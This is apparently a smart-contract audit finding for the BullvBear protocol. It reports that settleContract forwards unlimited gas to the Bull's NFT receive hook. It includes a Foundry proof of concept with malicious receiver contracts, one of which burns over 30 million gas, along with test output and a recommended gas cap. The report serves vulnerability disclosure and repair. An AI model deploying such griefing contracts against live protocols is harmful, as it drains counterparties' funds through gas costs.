ElKu

high

# Malicious Bull can make the Bear pay a very high gas fee by manipulating the NFT receive function

## Summary

The [settleContract](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L374) function is used by the bear to sell his NFT to the bull and receive the bull's collateral and his premium. The Bull can make his NFT receive function such that, the Bear will use up the entire gas limit of the block and ends up wasting a large amount of ETH.

## Vulnerability Detail

Looking at the `settleContract` implementation, specifically where the [NFT is sent to bull](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L394-L400):

```solidity
        try IERC721(order.collection).safeTransferFrom(bear, bull, tokenId) {}
        catch (bytes memory) {
            // Transfer NFT to BvbProtocol
            IERC721(order.collection).safeTransferFrom(bear, address(this), tokenId);
            // Store that the bull has to retrieve it
            withdrawableCollectionTokenId[order.collection][tokenId] = bull;
        }
```

If the Bull simply reverts, it will not damage the functionality of the `settleContract` function or the Bear. But if the Bull increases the gas usage of his receive function, the Bear will be forced to pay it. As no limit of gas is specified in the `safeTransferFrom` call. 

A POC was written to prove this point. The following output was emitted during the test.
```bash
forge test -vvv --match-test Elku3
[⠒] Compiling...
[⠃] Compiling 1 files with 0.8.17
[⠆] Solc 0.8.17 finished in 2.22s
Compiler run successful

Running 2 tests for test/unit/ElkuTest3.t.sol:TestSettleContract
[PASS] testElku31() (gas: 515304)
Logs:
  bull address: 0x0b7108e278c2e77e4e4f5c93d9e5e9a11ac837fc
  initial owner of nft: 0xb4c79dab8f259c7aee6e5b2aa729821864227e84
  gas used for settleContract: 146373
  bvb: 0xf5a2fe45f4f1308502b1c136b9ef8af136141382
  final nft owner: 0xf5a2fe45f4f1308502b1c136b9ef8af136141382
  NFT successfully transfered to BvbProtocol

[PASS] testElku32() (gas: 29535687)
Logs:
  bull address: 0x1dd17af470f2caa13d29c02ac190a3a1eddc4e84
  initial owner of nft: 0xb4c79dab8f259c7aee6e5b2aa729821864227e84
  gas used for settleContract: 29164299
  ETH used for settleContract(for gasprice=25): 0.729107475
  bvb: 0xf5a2fe45f4f1308502b1c136b9ef8af136141382
  final nft owner: 0xf5a2fe45f4f1308502b1c136b9ef8af136141382
  NFT successfully transfered to BvbProtocol
```

In the first test, the `maliciousBull1`  simply reverts and it doesnt affect the Bear in anyway. 

In the second test, the `maliciousBull2`  has a gas wasting operation, which uses up more than 30 million gas, which is the `gas limit` for a Block in Ethereum. 
```solidity
//gas wasting operation in maliciousBull2 contract
    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        if (shouldBlockTransfer) {
            //use a lot of gas so that txn reverts
            for(uint i=0; i < 5000 ; i++) {  //this is enough to make sure the 30 million gas limit is breached
                blockTxn = i%2;  //storage writes
            } 
        }
        return BvbMaliciousBull2.onERC721Received.selector;
    }
```

Once the gas limit is reached, the call will revert, which means the code execution will start at the `catch` block and send the nft to the `BvbProtocol` contract.

## Impact

If the malicious Bull does manipulate his contract in such a way mentioned in the POC, the Bear is left with two options:
1. If the `premium`  and `collateral` is more valuable then the gas spent on `settleContract` and `loss on NFT`, then settle the contract anyway.
2. Otherwise ignore the Order, and just forget his `premium`. The Bull benefits in such a case as both the `premium`  and `collateral` will go to him.

## Code Snippet

This is the POC I wrote to prove the hack:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;

import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {Base} from "../Base.t.sol";
import {BvbProtocol} from "src/BvbProtocol.sol";
import {ERC20} from "solmate/tokens/ERC20.sol";

//BvbMaliciousBull1 contract
contract BvbMaliciousBull1 {

    address public immutable bvb;

    bool public shouldBlockTransfer;

    constructor(address _bvb) {
        bvb = _bvb;
        shouldBlockTransfer = true;
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        if (shouldBlockTransfer) {
            // Do not accept a transfer from the BvbProtocol
            return bytes4(0);
        }
        return BvbMaliciousBull1.onERC721Received.selector;
    }
    
    function setShouldBlockTransfer(bool shouldBlock) public {
        shouldBlockTransfer = shouldBlock;
    }
}

//BvbMaliciousBull2 contract
contract BvbMaliciousBull2 {

    address public immutable bvb;

    bool public shouldBlockTransfer;

    uint blockTxn;

    constructor(address _bvb) {
        bvb = _bvb;
        shouldBlockTransfer = true;
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        if (shouldBlockTransfer) {
            //use a lot of gas so that txn reverts
            for(uint i=0; i < 5000 ; i++) {  //this is enough to make sure the 30 million gas limit is breached
                blockTxn = i%2;  //storage writes
            } 
        }
        return BvbMaliciousBull2.onERC721Received.selector;
    }
    
    function setShouldBlockTransfer(bool shouldBlock) public {
        shouldBlockTransfer = shouldBlock;
    }
}

//testing contract
contract TestSettleContract is Base {
    event SettledContract(bytes32 orderHash, uint tokenId, BvbProtocol.Order order);
    event WithdrawnToken(bytes32 orderHash, uint tokenId, address recipient);

    uint internal tokenIdBull = 1234;
    uint internal tokenIdBear = 5678;
    BvbMaliciousBull1 internal maliciousBull1;
    BvbMaliciousBull2 internal maliciousBull2;

    function setUp() public {
        bvb.setAllowedAsset(address(weth), true);
        bvb.setAllowedCollection(address(doodles), true);

        deal(address(weth), bull, 0xffffffff);
        deal(address(weth), address(this), 0xffffffff);

        doodles.mint(bull, tokenIdBull);
        doodles.mint(address(this), tokenIdBear);

        weth.approve(address(bvb), type(uint).max);
        doodles.setApprovalForAll(address(bvb), true);

        vm.startPrank(bull);
        weth.approve(address(bvb), type(uint).max);
        doodles.setApprovalForAll(address(bvb), true);
        vm.stopPrank();

        maliciousBull1 = new BvbMaliciousBull1(address(bvb));
        maliciousBull2 = new BvbMaliciousBull2(address(bvb));
    }


  // maliciousBull1 is used in this test
    function testElku31() public {
        
        BvbProtocol.Order memory order = defaultOrder();
        bytes32 orderHash = bvb.hashOrder(order);

        bytes memory signature = signOrder(bullPrivateKey, order);
        bvb.matchOrder(order, signature);

        // Transfer position to malicious contract
        vm.prank(bull);
        
        bvb.transferPosition(orderHash, true, address(maliciousBull1));
        emit log_named_address("bull address", address(maliciousBull1));
        emit log_named_address("initial owner of nft", doodles.ownerOf(tokenIdBear));

        uint gasUsage;
        gasUsage = gasleft();
        bvb.settleContract(order, tokenIdBear);
        gasUsage = gasUsage - gasleft();
        emit log_named_uint ("gas used for settleContract", gasUsage);

        emit log_named_address("bvb", address(bvb));
        emit log_named_address("final nft owner", doodles.ownerOf(tokenIdBear));
        if(doodles.ownerOf(tokenIdBear) == address(bvb))
            emit log("NFT successfully transfered to BvbProtocol");
        else
            emit log("NFT remained with the Bull");
    }

  // maliciousBull2 is used in this test
    function testElku32() public {
        
        BvbProtocol.Order memory order = defaultOrder();
        bytes32 orderHash = bvb.hashOrder(order);

        bytes memory signature = signOrder(bullPrivateKey, order);
        bvb.matchOrder(order, signature);

        // Transfer position to malicious contract
        vm.prank(address(bull));
        
        bvb.transferPosition(orderHash, true, address(maliciousBull2));
        emit log_named_address("bull address", address(maliciousBull2));
        emit log_named_address("initial owner of nft", doodles.ownerOf(tokenIdBear));

        uint gasUsage;
        gasUsage = gasleft();
        bvb.settleContract{gas:30000000}(order, tokenIdBear);  //set gas limit as 30 million.
        gasUsage = gasUsage - gasleft();
        emit log_named_uint ("gas used for settleContract", gasUsage);
        emit log_named_decimal_uint ("ETH used for settleContract(for gasprice=25)", (gasUsage * 25) ,9); //Assuming a standard gas price of 25.

        emit log_named_address("bvb", address(bvb));
        emit log_named_address("final nft owner", doodles.ownerOf(tokenIdBear));
        if(doodles.ownerOf(tokenIdBear) == address(bvb))
            emit log("NFT successfully transfered to BvbProtocol");
        else
            emit log("NFT remained with the Bull");
    }
}
```

## Tool used

Foundry, VSCode, Manual Analysis

## Recommendation

Limit the amount of gas sent for the `safeTransferFrom` call at [line 394](https://github.com/sherlock-audit/2022-11-bullvbear/blob/main/bvb-protocol/src/BvbProtocol.sol#L394). This is where the contract tries to transfer the NFT to the bull.
